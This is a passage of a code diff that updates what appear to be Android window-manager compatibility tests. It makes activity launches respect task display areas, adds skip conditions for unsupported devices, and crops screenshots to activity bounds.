extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR),
extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
- Bitmap screenshot = takeScreenshot();
+ Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
assertBlurBehind(screenshot, windowFrame);
assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -326,6 +333,15 @@
mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
}
+ private WindowManagerState.Activity startAndReturnTestActivity(ComponentName activityName,
+ final CliIntentExtra... extras) {
+ launchActivity(activityName, extras);
+ assertNotEquals(mWmState.getRootTaskIdByActivity(activityName), INVALID_STACK_ID);
+ waitAndAssertResumedActivity(activityName, activityName + " must be resumed");
+ mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ return mWmState.getActivity(activityName);
+ }
+
private Rect getWindowFrame(ComponentName activityName) {
String windowName = getWindowName(activityName);
@@ -334,7 +350,7 @@
}
private void verifyOnlyBackgroundImageVisible() {
- final Bitmap screenshot = takeScreenshot();
+ final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
final int height = screenshot.getHeight();
final int width = screenshot.getWidth();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 7e5d5a1..16bdeb6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -55,6 +55,11 @@
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.List;
/**
* The test is focused on compatibility changes that have an effect on WM logic, and tests that
@@ -71,6 +76,7 @@
* atest CtsWindowManagerDeviceTestCases:CompatChangeTests
*/
@Presubmit
+@RunWith(Parameterized.class)
public final class CompatChangeTests extends MultiDisplayTestBase {
private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
component(ResizeablePortraitActivity.class);
@@ -96,6 +102,14 @@
private static final float FLOAT_EQUALITY_DELTA = 0.01f;
+ @Parameterized.Parameters(name= "{0}")
+ public static List<Double> data() {
+ return Arrays.asList(0.5, 2.0);
+ }
+
+ @Parameterized.Parameter(0)
+ public double resizeRatio;
+
@Rule
public TestRule compatChangeRule = new PlatformCompatChangeRule();
@@ -490,10 +504,7 @@
mWmState.computeState();
WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
- runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 0.5,
- inSizeCompatModeAfterResize);
- waitForRestoreDisplay(originalDC);
- runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 2,
+ runSizeCompatTest(activity, windowingMode, resizeRatio,
inSizeCompatModeAfterResize);
}
@@ -559,11 +570,7 @@
mWmState.computeState();
WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
- runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 0.5,
- inSizeCompatModeAfterResize);
- assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
- waitForRestoreDisplay(originalDC);
- runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio=*/ 2,
+ runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, resizeRatio,
inSizeCompatModeAfterResize);
assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index dc7c308..edd15ad 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -429,6 +429,12 @@
.setWaitForLaunched(false)
.setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).execute();
mWmState.waitForKeyguardShowingAndNotOccluded();
+ // The activity should be launched in same TDA to ensure that
+ // keyguard is showing and not occluded.
+ assumeTrue("Should launch in same TDA",
+ mWmState.getTaskDisplayArea(occludingActivity)
+ == mWmState.getTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY)
+ );
mWmState.assertKeyguardShowingAndNotOccluded();
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index cb2fb3f..0e7ccb7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -57,6 +57,7 @@
import android.content.ContextWrapper;
import android.content.Intent;
import android.content.res.Configuration;
+import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -365,9 +366,18 @@
@Test
public void testLaunchSecondaryHomeActivityOnDisplayWithDecorations() {
createManagedHomeActivitySession(SECONDARY_HOME_ACTIVITY);
+ boolean useSystemProvidedLauncher = mContext.getResources().getBoolean(
+ Resources.getSystem().getIdentifier("config_useSystemProvidedLauncherForSecondary",
+ "bool", "android"));
- // Provided secondary home activity should be automatically launched on the new display.
- assertSecondaryHomeResumedOnNewDisplay(SECONDARY_HOME_ACTIVITY);
+ if (useSystemProvidedLauncher) {
+ // Default secondary home activity should be automatically launched on the new display
+ // if forced by the config.
+ assertSecondaryHomeResumedOnNewDisplay(getDefaultSecondaryHomeComponent());
+ } else {
+ // Provided secondary home activity should be automatically launched on the new display.
+ assertSecondaryHomeResumedOnNewDisplay(SECONDARY_HOME_ACTIVITY);
+ }
}
private void assertSecondaryHomeResumedOnNewDisplay(ComponentName homeComponentName) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 74a6e3a9..607f439 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -915,6 +915,11 @@
extraString(EXTRA_ON_PAUSE_DELAY, "350"),
extraString(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true"));
launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
+ // if the activity is not launched in same TDA, pip is not triggered.
+ assumeTrue("Should launch in same tda",
+ mWmState.getTaskDisplayArea(RESUME_WHILE_PAUSING_ACTIVITY)
+ == mWmState.getTaskDisplayArea(PIP_ACTIVITY)
+ );
assertPinnedStackExists();
}
@@ -1307,6 +1312,11 @@
// Launch another and ensure that there is a pinned stack.
launchActivity(TEST_ACTIVITY);
+ // if the activities do not launch in same TDA, pip is not triggered.
+ assumeTrue("Should launch in same tda",
+ mWmState.getTaskDisplayArea(PIP_ACTIVITY)
+ == mWmState.getTaskDisplayArea(TEST_ACTIVITY)
+ );
waitForEnterPip(PIP_ACTIVITY);
assertPinnedStackExists();
waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 910f311..b05f1c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -74,6 +74,7 @@
@Override
public void setUp() throws Exception {
super.setUp();
+ assumeTrue(supportsMultiWindow());
// Launch activities in fullscreen, otherwise, some tests fail on devices which use freeform
// as the default windowing mode, because tests' prerequisite are that activity A, B, and C
// need to overlay completely, but they can be partially overlay as freeform windows.
@@ -284,7 +285,41 @@
waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
waitAndAssertActivityState(mActivityB, STATE_STOPPED,
"Activity B is occluded by Activity C, so it must be stopped.");
- waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+ }
+
+ /**
+ * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+ * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+ * TaskFragment above.
+ */
+ @Test
+ public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+ // Initialize test environment by launching Activity A and B side-by-side.
+ initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+ final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+ // TaskFragment C is not fully occluding TaskFragment B.
+ final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+ partialOccludingSideBounds.left += 50;
+ final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+ mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+ final IBinder taskFragTokenC = paramsC.getFragmentToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ // Create the side TaskFragment for C and launch
+ .createTaskFragment(paramsC)
+ .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+ null /* activityOptions */)
+ .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ // Wait for the TaskFragment of Activity C to be created.
+ mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+ waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+ waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+ "Activity B is occluded by Activity C, so it must be stopped.");
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
}
/**
@@ -502,7 +537,10 @@
public void testLaunchEmbeddedActivityWithShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B (with showWhenLocked)
// side-by-side.
initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -522,7 +560,10 @@
public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B side-by-side.
initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
@@ -542,7 +583,10 @@
public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B side-by-side.
mOwnerActivity.setShowWhenLocked(true);
initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
index def5b0b..873142b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
@@ -24,6 +24,8 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
@@ -78,6 +80,7 @@
*/
@Test
public void testCreateTaskFragment() {
+ assumeTrue("MultiWindow are not supported.", supportsMultiWindow());
mWmState.computeState(mOwnerActivityName);
Task parentTask = mWmState.getRootTask(mOwnerActivity.getTaskId());
final int originalTaskFragCount = parentTask.getTaskFragments().size();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
index 34a16a5..1474deb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -59,7 +59,9 @@
@After
public void tearDown() {
- mTaskFragmentOrganizer.unregisterOrganizer();
+ if (mTaskFragmentOrganizer != null) {
+ mTaskFragmentOrganizer.unregisterOrganizer();
+ }
}
public static IBinder getActivityToken(@NonNull Activity activity) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index 2a5de2f..eecab9c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -346,7 +346,13 @@
if (!testOpen) {
topStartCmd += " --ei " + EXTRA_FINISH_DELAY + " 1000";
}
- executeShellCommand(topStartCmd + " --windowingMode " + windowingMode);
+ topStartCmd += " --windowingMode " + windowingMode;
+ // Launch top task in the same display area as the bottom task. CTS tests using multiple
+ // tasks assume they will be started in the same task display area.
+ int bottomComponentDisplayAreaFeatureId =
+ mWmState.getTaskDisplayAreaFeatureId(bottomComponent);
+ topStartCmd += " --task-display-area-feature-id " + bottomComponentDisplayAreaFeatureId;
+ executeShellCommand(topStartCmd);
Condition.waitFor("Retrieving correct transition", () -> {
if (testOpen) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index 8e28903..cc41397 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -63,6 +63,7 @@
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
@@ -82,11 +83,13 @@
private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ @Ignore("b/168446060")
@Test
public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
runTest(false /* useControlApi */);
}
+ @Ignore("b/168446060")
@Test
public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
runTest(true /* useControlApi */);
@@ -100,7 +103,10 @@
activity.setEvaluator(() -> {
// This runs from time to time on the UI thread.
Bitmap screenshot = getInstrumentation().getUiAutomation().takeScreenshot();
- final int center = screenshot.getWidth() / 2;
+ // Activity can be next to any screen edge and center must be offset by mTestView X
+ int[] loc = new int[2];
+ activity.mTestView.getLocationOnScreen(loc);
+ final int center = activity.mTestView.getWidth() / 2 + loc[0];
int imePositionApp = lowestPixelWithColor(APP_COLOR, 1, screenshot);
int contentBottomMiddle = lowestPixelWithColor(APP_COLOR, center, screenshot);
int behindImeBottomMiddle =
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
index 6fbfe36..a041886 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
@@ -49,7 +49,11 @@
public static void assertMetricsMatchesLayout(WindowMetrics currentMetrics,
WindowMetrics maxMetrics, Rect layoutBounds, WindowInsets layoutInsets,
boolean isFreeformActivity) {
- assertEquals(layoutBounds, currentMetrics.getBounds());
+ // Only validate the size portion of the bounds, regardless of the position on the screen to
+ // take into consideration multiple screen devices (e.g. the dialog is on another screen)
+ final Rect currentMetricsBounds = currentMetrics.getBounds();
+ assertEquals(layoutBounds.height(), currentMetricsBounds.height());
+ assertEquals(layoutBounds.width(), currentMetricsBounds.width());
// Freeform activities doesn't guarantee max window metrics bounds is larger than current
// window metrics bounds. The bounds of a freeform activity is unlimited except that
// it must be contained in display bounds.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 54cc744..9b35b68 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -151,9 +151,16 @@
final Activity translucentActivity = new Launcher(TranslucentActivity.class)
.setOptions(getLaunchOptionsForFullscreen())
.launch();
+
+ // We need to get the translucentActivity task display area feature Id so we can launch the
+ // firstActivity on the same task display area as the translucentActivity.
+ final int translucentActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(
+ translucentActivity.getComponentName());
+ ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+ activityOptions.setLaunchTaskDisplayAreaFeatureId(translucentActivityTDAFeatureId);
final Activity firstActivity = new Launcher(FirstActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .setOptions(getLaunchOptionsForFullscreen())
+ .setOptions(activityOptions)
.launch();
waitAndAssertActivityStates(state(translucentActivity, ON_STOP));
@@ -161,9 +168,13 @@
mWmState.computeState(firstActivityName);
int firstActivityStack = mWmState.getRootTaskIdByActivity(firstActivityName);
+ // We need to get the firstActivity task display area feature Id so we can move the
+ // translucentActivity on top of the same task display area as the firstActivity.
+ int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivityName);
// Move translucent activity into the stack with the first activity
getLifecycleLog().clear();
- moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
+ moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class),
+ firstActivityStack, firstActivityTDAFeatureId);
// Wait for translucent activity to resume and first activity to pause
waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
@@ -732,10 +743,15 @@
final Activity recreatingActivity = new Launcher(SingleTopActivity.class)
.launch();
+ // Retrieve the activity Task Display Area.
+ int recreatingActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(recreatingActivity
+ .getComponentName());
+ ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+ activityOptions.setLaunchTaskDisplayAreaFeatureId(recreatingActivityTDAFeatureId);
// Launch second activity to cover and stop first
final Activity secondActivity = new Launcher(SecondActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .setOptions(getLaunchOptionsForFullscreen())
+ .setOptions(activityOptions)
.launch();
// Wait for first activity to become occluded
@@ -792,10 +808,15 @@
final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+ int singleTopActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(singleTopActivity
+ .getComponentName());
+ ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+ activityOptions.setLaunchTaskDisplayAreaFeatureId(singleTopActivityTDAFeatureId);
+
// Launch something on top
final Activity secondActivity = new Launcher(SecondActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .setOptions(getLaunchOptionsForFullscreen())
+ .setOptions(activityOptions)
.launch();
waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index 6f388e3..b303c846 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -33,6 +33,7 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
+import android.app.ActivityOptions;
import android.platform.test.annotations.Presubmit;
import androidx.test.filters.MediumTest;
@@ -243,8 +244,12 @@
@Test
public void testFinishAffinity_differentAffinity() throws Exception {
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivity
+ .getComponentName());
+ ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+ activityOptions.setLaunchTaskDisplayAreaFeatureId(firstActivityTDAFeatureId);
final Activity differentAffinityActivity = new Launcher(DifferentAffinityActivity.class)
- .setOptions(getLaunchOptionsForFullscreen())
+ .setOptions(activityOptions)
.launch();
waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
state(firstActivity, ON_STOP));
@@ -263,10 +268,14 @@
@Test
public void testFinishAffinity_multiTask() throws Exception {
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivity
+ .getComponentName());
+ ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+ activityOptions.setLaunchTaskDisplayAreaFeatureId(firstActivityTDAFeatureId);
// Launch fullscreen activity in a new task to stop first activity
final Activity secondActivity = new Launcher(SecondActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .setOptions(getLaunchOptionsForFullscreen())
+ .setOptions(activityOptions)
.launch();
waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
state(firstActivity, ON_STOP));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index 25b5ee8..37058c9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -22,6 +22,7 @@
import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
import android.app.ActivityManager;
import android.app.ActivityOptions;
@@ -141,6 +142,11 @@
*/
public static final String KEY_WINDOWING_MODE = "windowing_mode";
+ /**
+ * Key for int extra, indicates the launch TaskDisplayArea feature id
+ */
+ public static final String KEY_TASK_DISPLAY_AREA_FEATURE_ID = "task_display_area_feature_id";
+
/** Perform an activity launch configured by provided extras. */
public static void launchActivityFromExtras(final Context context, Bundle extras) {
@@ -234,6 +240,16 @@
if (intentFlags != 0) {
newIntent.addFlags(intentFlags);
}
+
+ final int launchTaskDisplayAreaFeatureId = extras
+ .getInt(KEY_TASK_DISPLAY_AREA_FEATURE_ID, FEATURE_UNDEFINED);
+ if (launchTaskDisplayAreaFeatureId != FEATURE_UNDEFINED) {
+ if (options == null) {
+ options = ActivityOptions.makeBasic();
+ }
+ options.setLaunchTaskDisplayAreaFeatureId(launchTaskDisplayAreaFeatureId);
+ }
+
final Bundle optionsBundle = options != null ? options.toBundle() : null;
final Context launchContext = getBoolean(extras, KEY_USE_APPLICATION_CONTEXT) ?
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 331db92..40b5a32 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -59,6 +59,7 @@
import static android.server.wm.ActivityLauncher.KEY_REORDER_TO_FRONT;
import static android.server.wm.ActivityLauncher.KEY_SUPPRESS_EXCEPTIONS;
import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
+import static android.server.wm.ActivityLauncher.KEY_TASK_DISPLAY_AREA_FEATURE_ID;
import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
import static android.server.wm.ActivityLauncher.KEY_WINDOWING_MODE;
import static android.server.wm.ActivityLauncher.launchActivityFromExtras;
@@ -100,6 +101,7 @@
import static android.view.Display.INVALID_DISPLAY;
import static android.view.Surface.ROTATION_0;
import static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -760,6 +762,12 @@
return mInstrumentation.getUiAutomation().takeScreenshot();
}
+ protected Bitmap takeScreenshotForBounds(Rect rect) {
+ Bitmap fullBitmap = takeScreenshot();
+ return Bitmap.createBitmap(fullBitmap, rect.left, rect.top,
+ rect.width(), rect.height());
+ }
+
protected void launchActivity(final ComponentName activityName,
final CliIntentExtra... extras) {
launchActivityNoWait(activityName, extras);
@@ -858,6 +866,16 @@
.build());
}
+ protected void launchActivityOnTaskDisplayArea(ComponentName activityName, int windowingMode,
+ int launchTaskDisplayAreaFeatureId, int displayId, final CliIntentExtra... extras) {
+ executeShellCommand(getAmStartCmd(activityName, displayId, extras)
+ + " --task-display-area-feature-id " + launchTaskDisplayAreaFeatureId
+ + " --windowingMode " + windowingMode);
+ mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
+ .setWindowingMode(windowingMode)
+ .build());
+ }
+
protected void launchActivityOnDisplay(ComponentName activityName, int displayId,
CliIntentExtra... extras) {
launchActivityOnDisplayNoWait(activityName, displayId, extras);
@@ -960,6 +978,11 @@
* task.
*/
protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId) {
+ moveActivityToRootTaskOrOnTop(activityName, rootTaskId, FEATURE_UNDEFINED);
+ }
+
+ protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId,
+ int taskDisplayAreaFeatureId) {
mWmState.computeState(activityName);
Task rootTask = getRootTask(rootTaskId);
if (rootTask.getActivities().size() != 0) {
@@ -968,6 +991,7 @@
.setDisplayId(rootTask.mDisplayId)
.setWindowingMode(rootTask.getWindowingMode())
.setActivityType(rootTask.getActivityType())
+ .setLaunchTaskDisplayAreaFeatureId(taskDisplayAreaFeatureId)
.setTargetActivity(activityName)
.allowMultipleInstances(false)
.setUseInstrumentation()
@@ -2275,6 +2299,7 @@
private Bundle mExtras;
private LaunchInjector mLaunchInjector;
private ActivitySessionClient mActivitySessionClient;
+ private int mLaunchTaskDisplayAreaFeatureId = FEATURE_UNDEFINED;
private enum LauncherType {
INSTRUMENTATION, LAUNCHING_ACTIVITY, BROADCAST_RECEIVER
@@ -2372,6 +2397,12 @@
return this;
}
+ public LaunchActivityBuilder setLaunchTaskDisplayAreaFeatureId(
+ int launchTaskDisplayAreaFeatureId) {
+ mLaunchTaskDisplayAreaFeatureId = launchTaskDisplayAreaFeatureId;
+ return this;
+ }
+
/** Use broadcast receiver as a launchpad for activities. */
public LaunchActivityBuilder setUseBroadcastReceiver(final ComponentName broadcastReceiver,
final String broadcastAction) {
@@ -2479,6 +2510,7 @@
b.putBoolean(KEY_SUPPRESS_EXCEPTIONS, mSuppressExceptions);
b.putInt(KEY_INTENT_FLAGS, mIntentFlags);
b.putBundle(KEY_INTENT_EXTRAS, getExtras());
+ b.putInt(KEY_TASK_DISPLAY_AREA_FEATURE_ID, mLaunchTaskDisplayAreaFeatureId);
final Context context = getInstrumentation().getContext();
launchActivityFromExtras(context, b, mLaunchInjector);
}
@@ -2559,6 +2591,13 @@
commandBuilder.append(" --ei " + KEY_INTENT_FLAGS + " ").append(mIntentFlags);
}
+ if (mLaunchTaskDisplayAreaFeatureId != FEATURE_UNDEFINED) {
+ commandBuilder.append(" --task-display-area-feature-id ")
+ .append(mLaunchTaskDisplayAreaFeatureId);
+ commandBuilder.append(" --ei " + KEY_TASK_DISPLAY_AREA_FEATURE_ID + " ")
+ .append(mLaunchTaskDisplayAreaFeatureId);
+ }
+
if (mLaunchInjector != null) {
commandBuilder.append(" --ez " + KEY_FORWARD + " true");
mLaunchInjector.setupShellCommand(commandBuilder);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 55b2b62..fcfc8c6 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -29,6 +29,7 @@
import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
import static android.util.DisplayMetrics.DENSITY_DEFAULT;
import static android.view.Display.DEFAULT_DISPLAY;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -496,6 +497,15 @@
return result.stream().findFirst().orElse(null);
}
+ public int getTaskDisplayAreaFeatureId(ComponentName activityName) {
+ final DisplayArea taskDisplayArea = getTaskDisplayArea(activityName);
+ if (taskDisplayArea != null) {
+ return taskDisplayArea.getFeatureId();
+ }
+
+ return FEATURE_UNDEFINED;
+ }
+
@Nullable
DisplayArea getDisplayArea(String windowName) {
final List<DisplayArea> result = new ArrayList<>();
@@ -1805,6 +1815,10 @@
return mIsOrganized;
}
+ public Rect getAppBounds() {
